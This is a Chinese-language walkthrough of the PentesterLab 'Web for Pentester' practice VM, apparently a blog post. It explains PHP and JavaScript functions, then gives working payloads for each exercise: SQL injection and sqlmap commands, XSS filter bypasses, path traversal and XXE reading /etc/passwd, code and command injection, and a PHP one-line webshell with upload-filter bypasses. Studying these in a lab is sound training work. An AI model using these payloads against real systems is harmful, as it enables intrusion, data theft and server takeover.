环境搭建

ISO镜像:web_for_pentester_i386.iso

新建虚拟机添加web_for_pentester_i386.iso镜像,桥接网络即可。

基础知识

preg_match()

preg_match() 函数用于进行正则表达式匹配,成功返回 1 ,否则返回 0 。

语法:

1
int preg_match( string pattern, string subject [, array matches ] )

参数说明:

参数 说明
pattern 正则表达式
subject 需要匹配检索的对象
matches 可选,存储匹配结果的数组, matches[0] 将包含与整个模式匹配的文本 matches[1] 将包含与第一个捕获的括号中的子模式所匹配的文本,以此类推

preg_replace()

preg_replace() 函数用于正则表达式的搜索和替换。

语法:

1
mixed preg_replace( mixed pattern, mixed replacement, mixed subject [, int limit ] )

参数说明:

参数 说明
pattern 正则表达式
replacement 替换的内容
subject 需要匹配替换的对象
limit 可选,指定替换的个数,如果省略 limit 或者其值为 -1,则所有的匹配项都会被替换

特别说明

当Pattern参数使用/e修正符时,preg_replace函数会将replacement参数当作 PHP代码执行,那么,针对此种情况,当replacement内容为用户可控数据时,就可能导致命令注入攻击漏洞的形成。

正则表达式中的模式修正符

模式修正符就是字母,只不过这些在模式修正符的应用之中有特殊的含义。下面我来看看都有哪些模式修正符,请看下表:

模式修正符 说明
i 表示在和模式进行匹配进不区分大小写
m 将模式视为多行,使用^和$表示任何一行都可以以正则表达式开始或结束
s 如果没有使用这个模式修正符号,元字符中的”.”默认不能表示换行符号,将字符串视为单行
x 表示模式中的空白忽略不计
e 正则表达式必须使用在preg_replace替换字符串的函数中时才可以使用
A 以模式字符串开头,相当于元字符^
Z 以模式字符串结尾,相当于元字符$
U 正则表达式的特点:就是比较“贪婪”,使用该模式修正符可以取消贪婪模式

prompt()

prompt() 方法用于显示可提示用户进行输入的对话框

语法:

1
prompt(text,defaultText)

参数说明:

参数 描述
text 可选。要在对话框中显示的纯文本(而不是 HTML 格式的文本)。
defaultText 可选。默认的输入文本。

confirm()

confirm() 方法用于显示一个带有指定消息和 OK 及取消按钮的对话框。

语法:

1
confirm(message)

参数说明:

参数 描述
message 要在 window 上弹出的对话框中显示的纯文本(而非 HTML 文本)

fromCharCode()

fromCharCode() 可接受一个指定的 Unicode 值,然后返回一个字符串

语法:

1
String.fromCharCode(numX,numX,...,numX)

参数说明:

参数 描述
numX 必需。一个或多个 Unicode 值,即要创建的字符串中的字符的 Unicode 编码。

eval(string)

eval() 函数可计算某个字符串,并执行其中的的 JavaScript 代码。

语法:

1
eval(string)

参数说明:

参数 描述
string 必需。要计算的字符串,其中含有要计算的 JavaScript 表达式或要执行的语句。

Document.write()

write() 方法可向文档写入 HTML 表达式或 JavaScript 代码。
可列出多个参数(exp1,exp2,exp3,…) ,它们将按顺序被追加到文档中。

语法:

1
document.write(exp1,exp2,exp3,....)

location.hash

hash 属性是一个可读可写的字符串,该字符串是 URL 的锚部分(从 # 号开始的部分)。

假设当前的URL是http://www.uknowsec/test.htm#PART2:

1
2
3
4
5
<script>

document.write(location.hash);

</script>

以上实例输出结果:

#part2

substring()

substring() 方法用于提取字符串中介于两个指定下标之间的字符。

语法:

1
stringObject.substring(start,stop)

参数说明:

参数 描述
start 必需。一个非负的整数,规定要提取的子串的第一个字符在 stringObject 中的位置。
stop 可选。一个非负的整数,比要提取的子串的最后一个字符在 stringObject 中的位置多 1。如果省略该参数,那么返回的子串会一直到字符串的结尾。

strstr()

strstr() 函数搜索字符串在另一字符串中的第一次出现。
注释:该函数是二进制安全的。
注释:该函数对大小写敏感。如需进行不区分大小写的搜索,请使用 stristr() 函数。

语法:

1
strstr(string,search,before_search)

参数说明:

参数 描述
string 必需。规定被搜索的字符串。
search 必需。规定所搜索的字符串。如果此参数是数字,则搜索匹配此数字对应的 ASCII 值的字符。
before_search 可选。默认值为 “false” 的布尔值。如果设置为 “true”,它将返回 search 参数第一次出现之前的字符串部分。

addslashes()

addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。

语法:

1
addslashes(string)

参数说明:

参数 描述
string 必需。规定要转义的字符串。

create_function()代码注入

测试环境版本:

apache +php 5.2、apache +php 5.3

有问题的代码:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
//02-8.php?id=2;}phpinfo();/*
$id=$_GET['id'];
$str2='echo '.$a.'test'.$id.";";
echo $str2;
echo "<br/>";
echo "==============================";
echo "<br/>";
$f1 = create_function('$a',$str2);
echo "<br/>";
echo "==============================";
?>

利用方法:

1
http://localhost/libtest/02-8.php?id=2;}phpinfo();/*

实现原理:

由于id=2;}phpinfo();/*
执行函数为:

1
2
3
4
源代码:
function fT($a) {
echo "test".$a;
}
1
2
3
4
5
注入后代码:
function fT($a) {
echo "test";}
phpinfo();/*;//此处为注入代码。
}

trim()

trim() 函数移除字符串两侧的空白字符或其他预定义字符。

相关函数:

ltrim() - 移除字符串左侧的空白字符或其他预定义字符
rtrim() - 移除字符串右侧的空白字符或其他预定义字符

语法

1
trim(string,charlist)

参数说明:

参数 描述
string 必需。规定要检查的字符串。
charlist 可选。规定从字符串中删除哪些字符。如果被省略,则移除以下所有字符: “\0” - NULL “\t” - 制表符 “\n” - 换行 “\x0B” - 垂直制表符 “\r” - 回车 “ “ - 空格

htmlentities()

htmlentities() 函数把字符转换为 HTML 实体。

语法

1
htmlentities(string,flags,character-set,double_encode)

参数说明:

参数 描述
string 必需。规定要转换的字符串。
flags 可选。规定如何处理引号、无效的编码以及使用哪种文档类型。
character-set 可选。一个规定了要使用的字符集的字符串。
double_encode 可选。布尔值,规定是否编码已存在的 HTML 实体。 TRUE - 默认。将对每个实体进行转换。FALSE - 不会对已存在的 HTML 实体进行编码。

header()

header() 函数向客户端发送原始的 HTTP 报头。

语法:

1
header(string,replace,http_response_code)

参数说明:

参数 描述
string 必需。规定要发送的报头字符串。
replace 可选。指示该报头是否替换之前的报头,或添加第二个报头。默认是 true(替换)。false(允许相同类型的多个报头)。
http_response_code 可选。把 HTTP 响应代码强制为指定的值。(PHP 4 以及更高版本可用)

SQL injections

Example 1

1
$sql = "SELECT * FROM users where name='"; $sql .= $_GET["name"]."'"; $result = mysql_query($sql); if ($result) { ?>

字符类型的注入,无过滤
用来练习手注是个不错的题目

判断注入点

1
2
3
4
5
http://192.168.1.105/sqli/example1.php?name=root' 页面返回异常

http://192.168.1.105/sqli/example1.php?name=root' and 1=1%23 页面返回正常

http://192.168.1.105/sqli/example1.php?name=root' and 1=2%23 页面返回正常

判断字段长

1
2
3
http://192.168.1.105/sqli/example1.php?name=root' order by 5%23 页面返回正常

http://192.168.1.105/sqli/example1.php?name=root' order by 6%23 页面返回异常

推断出这个表中有5个字段

猜解当前数据库名;

1
http://192.168.1.105/sqli/example1.php?name=root' union select 1,database(),3,4,5%23

猜解所有的数据库

1
http://192.168.1.105/sqli/example1.php?name=root' union select 1,SCHEMA_NAME,3,4,5 from information_schema.SCHEMATA%23

猜解所有的表名

1
http://192.168.1.105/sqli/example1.php?name=root' union select 1,table_name,3,4,5 from information_schema.tables%23

猜解当前数据库(exercises)的所以表名

1
http://192.168.1.105/sqli/example1.php?name=root' union select 1,table_name,3,4,5 from information_schema.tables where table_schema= database()%23

猜解当前数据库的user的字段名

1
http://192.168.1.105/sqli/example1.php?name=root' union select 1,COLUMN_NAME,2,4,5 from information_schema.COLUMNS where table_name = 'users'%23

判断版本号

1
http://192.168.1.105/sqli/example1.php?name=root' union select 1,version(),2,4,5%23

判断用户名

1
2
3
4
http://192.168.1.105/sqli/example1.php?name=root' union select 1,user(),2,4,5%23  
http://192.168.1.105/sqli/example1.php?name=root' union select 1,current_user(),2,4,5%23
http://192.168.1.105/sqli/example1.php?name=root' union select 1,system_user(),2,4,5%23
http://192.168.1.105/sqli/example1.php?name=root' union select 1,session_user(),2,4,5%23

读取值

1
http://192.168.1.105/sqli/example1.php?name=root' union select 1,name,passwd,4,5 from users%23

SQLMAP

1
python sqlmap.py -u http://192.168.1.105/sqli/example1.php?name=root --dbs

Example 2

1
if (preg_match('/ /', $_GET["name"])) { die("ERROR NO SPACE"); } $sql = "SELECT * FROM users where name='"; $sql .= $_GET["name"]."'"; $result = mysql_query($sql);

与example1差不多,过滤了空格,语句中存现空格就会报错

mysql注入绕过空格过滤的方法:

1、水平制表(HT) url编码:%09

2、注释绕过空格 /注释/

Payload

1
2
3
http://192.168.1.105/sqli/example2.php?name=root'%09union%09select%091,name,passwd,4,5%09from%09users%23  %09替换空格绕过

http://192.168.1.105/sqli/example2.php?name=root'/**/union/**/select/**/1,name,passwd,4,5/**/from/**/users%23 /**/替换空格绕过

SQLMAP

调用space2comment.py
用“/**/”替换空格符绕过

1
python sqlmap.py -u http://192.168.1.105/sqli/example3.php?name=root --dbs --tamper=space2comment.py

Example 3

1
if (preg_match('/\s+/', $_GET["name"])) { die("ERROR NO SPACE"); } $sql = "SELECT * FROM users where name='"; $sql .= $_GET["name"]."'";

在example2的基础上,\s匹配任何空白字符,包括空格、制表符、换页符等,全部过滤掉
可以使用example2中 /注释/ 绕过过滤

Payload

1
http://192.168.1.105/sqli/example2.php?name=root'/**/union/**/select/**/1,name,passwd,4,5/**/from/**/users%23

SQLMAP

调用space2comment.py
用“/**/”替换空格符绕过

1
python sqlmap.py -u http://192.168.1.105/sqli/example3.php?name=root --dbs --tamper=space2comment.py

Example 4

1
$sql="SELECT * FROM users where id="; $sql.=mysql_real_escape_string($_GET["id"])." "; $result = mysql_query($sql);

数值型的注入,过滤了单引号等,对数值型无效

Payload

1
2
http://192.168.1.105/sqli/example4.php?id=2 or 1=1
http://192.168.1.105/sqli/example4.php?id=2 union select 1,name, passwd,4,5 from users

SQLMAP

1
python sqlmap.py -u http://192.168.1.105/sqli/example4.php?id=2 --dbs

Example 5

1
if (!preg_match('/^[0-9]+/', $_GET["id"])) { die("ERROR INTEGER REQUIRED"); }

与前面类似,以一个数字开头的,后面可添加构造的sql语句进行攻击测试

Payload

1
2
http://192.168.1.105/sqli/example4.php?id=2 or 1=1
http://192.168.1.105/sqli/example4.php?id=2 union select 1,name, passwd,4,5 from users

SQLMAP

1
python sqlmap.py -u http://192.168.1.105/sqli/example5.php?id=2 --dbs

Example 6

1
if (!preg_match('/[0-9]+$/', $_GET["id"])) { die("ERROR INTEGER REQUIRED"); }

正则表达式值确保了参数id是以一个数字结尾的.他不能确保id参数的开头是合法的.

你可以变通一下前面说到的检测方法.你只需要在你的payload后面加上数字.比如你可以这样:1 or 1=1 # 123

Payload

1
2
3
http://192.168.1.105/sqli/example6.php?id=2 or 1=1-- - 1
http://192.168.1.105/sqli/example6.php?id=2 or 1=1# 1
http://192.168.1.105/sqli/example6.php?id=2 union select 1,name,passwd,4,5 from users-- - 123

SQLMAP

1
python sqlmap.py -u http://192.168.1.105/sqli/example6.php?id=2 --dbs

Example 7

1
if (!preg_match('/^-?[0-9]+$/m', $_GET["id"])) { die("ERROR INTEGER REQUIRED"); }

正则表达式将检查开始和结束的字符串是一个数字。然而,正则表达式中有一个修饰符/m。它只检查一行,不关心下一行有开始还是结束用数字。所以我们可以绕过它采用id =2\npayload。我们需要把\n转换成十六进制。就是%a0

Payload

1
http://192.168.1.110/sqli/example7.php?id=2%0aunion%0aselect%0a1,name,passwd,4,5%0afrom%0ausers%23

SQLMAP

1
python sqlmap.py -u http://192.168.1.110/sqli/example7.php?id=2%0a

XSS

Example 1

没有做任何过滤

Payload

1
<script>alert(1)</script>

Example 2

1
2
preg_replace("/<script>/","",$name);
preg_replace("/<\/script>/","",$name);

过滤script标签,利用大写绕过

Payload

1
<SCRIPT>alert(1)</SCRIPT>

Example 3

1
2
preg_replace("/<script>/i","",$name);
preg_replace("/<\/script>/i","",$name);

过滤script标签,且使用模式修正符i,忽略大小写。

Payload

1
<scr<script>ipt>alert(1)</sc</script>ript>

Example 4

1
preg_match('/script/i',$_GET["name"])

过滤script字符,且使用模式修正符i,忽略大小写。
利用img标签

Payload

1
<img src=1 onerror=alert(1)>

Example 5

1
preg_match('/alert/i',$_GET["name"]))

过滤alert字符,且使用模式修正符i,忽略大小写
利用prompt(),confirm(),String.fromCharCode()函数实现弹框

Payload

1
2
3
<script>prompt(1);</script>
<script>confirm(1);</script>
<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41))</script>

Example 6

1
2
3
<script>
var $a="<?php echo $_GET["name"];?>;
</script>

有源码可以看出,GET方式得到的参数直接发送到javascript代码中,所以在发送Payload的时候不需要添加script标签,只需要发送需要只执行的javascript代码即可。

Payload

1
";alert(1);//

构成以下代码,实现弹窗

1
2
3
<script>
var $a= "hacker";alert(1);//";
</script>

Example 7

1
2
3
<script>
var $a='<?php echo htmlentities($_GET["name"]);?>';
</script>

使用htmlentities进行HTML编码,默认编码双引号

Payload

1
';alert(1);//

Example 8

1
2
3
4
5
6
<?php
if (isset($_POST["name"])){
echo "HELLO ".htmlentities($_POST["name"])
}
?>
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">

利用$_SERVER[‘PHP_SELF’]获取当前页面地址

假设该页面地址为:

1
http://192.168.1.110/xss/example8.php

访问该页面,得到的表单 html 代码如下:

1
<form method="post" action="/xss/example8.php">

Payload

1
/"><script>alert(1)</script>

Example 9

1
2
3
<script>
document.write(location.hash.substring(1));
</script>

Payload

1
#<script>alert(1)</script>

Directory traversal

Example 1

简单目录遍历

Payload

1
http://192.168.1.10/dirtrav/example1.php?file=../../../../../../../etc/passwd

Example 2

1
2
if(!(strstr($file,"/var/www/files/")))
die();

检测是否包含/var/www/files/字符串

Payload

1
http://192.168.1.110/dirtrav/example2.php?file=/var/www/files/../../../../../../../etc/passwd

Example 3

1
$path = preg_replace('/\x00.*/',"",$path);

使用%00截断后面字符串,读取passwd文件

Payload

1
/dirtrav/example3.php?file=../../../../../../../etc/passwd%00

File Include

Example 1

1
include($_GET["page"]);

Payload

1
http://192.168.1.110/fileincl/example2.php?page=intro.php

读取intro.php文件

Example 2

1
2
$file = preg_replace('/\x00.*/',"",$file);
include($file);

使用%00截断后面字符串

Payload

1
http://192.168.1.110/fileincl/example2.php?page=intro.php%00

Code injection

Example 1

1
2
3
4
5
<?php   
$str="echo \"Hello ".$_GET['name']."!!!\";";

eval($str);
?>

使用了反斜杠【\】将echo后面的内容给转义了。这样做与加addslashes()函数进行过滤的意思是一样的
可以通过${${ }}这样的方式绕过,从而继续执行代码。

Payload

1
http://192.168.56.101/codeexec/example1.php?name=${${phpinfo()}}

Example 2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php  
class User{
public $id, $name, $age;
function __construct($id, $name, $age){
$this->name= $name;
$this->age = $age;
$this->id = $id;
}
}
require_once('../header.php');
require_once('../sqli/db.php');
$sql = "SELECT * FROM users ";

$order = $_GET["order"];
$result = mysql_query($sql);
if ($result) {
while ($row = mysql_fetch_assoc($result)) {
$users[] = new User($row['id'],$row['name'],$row['age']);
}
if (isset($order))<span style="color:#FF0000;"> {
usort($users, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));
}</span>
}

?>
<table class='table table-striped' >
<tr>
<th><a href="example2.php?order=id">id</th>
<th><a href="example2.php?order=name">name</th>
<th><a href="example2.php?order=age">age</th>
</tr>
<?php

foreach ($users as $user) {
echo "<tr>";
echo "<td>".$user->id."</td>";
echo "<td>".$user->name."</td>";
echo "<td>".$user->age."</td>";
echo "</tr>";
}
echo "</table>";
?>

create_function()的不当使用造成代码注入,可以这样构造);}phpinfo();//
执行我们的命令,);}是闭合了前面的代码,而//则是将后面的内容注释掉

Payload

1
http://192.168.56.101/codeexec/example2.php?order=id);}phpinfo();//

Example 3

1
2
3
<?php  
echo preg_replace($_GET["pattern"], $_GET["new"], $_GET["base"]);
?>

/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。
因此当满足了在语句的构造中有/e修正符,就有可能引起php代码注入的风险。可以如此构造new=phpinfo()&pattern=/lamer/e&base=Hello lamer

Payload

1
http://192.168.56.101/codeexec/example3.php?new=phpinfo()&pattern=/lamer/e&base=Hello lamer

Example 4

1
2
3
4
5
<?php  
// ensure name is not empty
assert(trim("'".$_GET['name']."'"));
echo "Hello ".htmlentities($_GET['name']);
?>

如此构造即可:hacker’.phpinfo().’

Payload

1
http://192.168.56.101/codeexec/example4.php?name=hacker'.phpinfo().'

Commands injection

Example 1

1
2
3
<?php
system("ping -c 2 ".$_GET['ip']);
?>

Payload

1
http://192.168.56.101/commandexec/example1.php?ip=127.0.0.1|id

Example 2

1
2
3
4
5
6
<?php
if (!(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/m', $_GET['ip']))) {
die("Invalid IP address");
}
system("ping -c 2 ".$_GET['ip']);
?>

正则表达式中有一个修饰符/m。它只检查一行,不关心下一行,此时我们可以利用%0a(换行符)绕过

Payload

1
http://192.168.56.101/commandexec/example2.php?ip=127.0.0.1%0aid

Example 3

1
2
3
4
5
6
<?php
if (!(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/', $_GET['ip']))) {
header("Location: example3.php?ip=127.0.0.1");
}
system("ping -c 2 ".$_GET['ip']);
?>

利用Location重定向到example3.php?ip=127.0.0.1,这里可以是用curl、burpsuite和nc查看回显

Payload

1
echo -e "GET /commandexec/example3.php?ip=127.0.0.1;id HTTP/1.1\r\nHost: 192.168.56.101\r\nConnection: close\r\n" | nc 192.168.56.101 80
1
curl http://192.168.56.101/commandexec/example3.php?ip=127.0.0.1|ls

File Upload

Example 1

直接上传一句话木马1.php。

Payload

1
2
1.php
<?php @eval($_POST['c']);?>

Example 2

直接上传一句话木马1.php。失败。

把上传文件的文件名修改为1.php.aaaa
对于apache这样的服务器,碰到aaaa发现是不认识的文件名后缀,然后就会跳过这个文件名,解析下一个文件名。
成功上传

根据php版本也可以尝试.php3,.php4,.php5此类后缀名进行上传。

Payload

1
2
1.php.aaaaa
<?php @eval($_POST['c']);?>
1
2
1.php3
<?php @eval($_POST['c']);?>

XML attacks

Example 1

1
2
3
4
<?php
$xml=simplexml_load_string($_GET['xml']);
print_r((string)$xml);
?>

直接读取/etc/passwd

Payload

1
<!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><test>&xxe;</test>

Url编码

1
http://192.168.1.114/xml/example1.php?xml=%3C%21DOCTYPE%20test%20%5B%3C%21ENTITY%20xxe%20SYSTEM%20%22file%3A%2f%2f%2fetc%2fpasswd%22%3E%5D%3E%3Ctest%3E%26xxe%3B%3C%2ftest%3E

Example 2

1
2
3
4
5
6
7
8
9
10
11
<?php require_once("../header.php");

$x = "<data><users><user><name>hacker</name><message>Hello hacker</message><password>pentesterlab</password></user><user><name>admin</name><message>Hello admin</message><password>s3cr3tP4ssw0rd</password></user></users></data>";

$xml=simplexml_load_string($x);
$xpath = "users/user/name[.='".$_GET['name']."']/parent::*/message";
$res = ($xml->xpath($xpath));
while(list( ,$node) = each($res)) {
echo $node;
}
?>

Payload

1
2
3
4
5
http://192.168.1.114/xml/example2.php?name=hacker' 加单引号报错

http://192.168.1.114/xml/example2.php?name=hacker'or '1'='1 得到两个name值

http://192.168.1.114/xml/example2.php?name=hacker'or 1=1]/parent::*/child::node()%00 得到所有值

Reference

[PentesterLab] Web for Pentester - FINAL
慎用preg_replace危险的/e修饰符(一句话后门常用)
PHP create_function()代码注入 (执行脚本函数)
Web渗透测试攻略(上)
Web渗透测试攻略(中)
Web渗透测试攻略(下)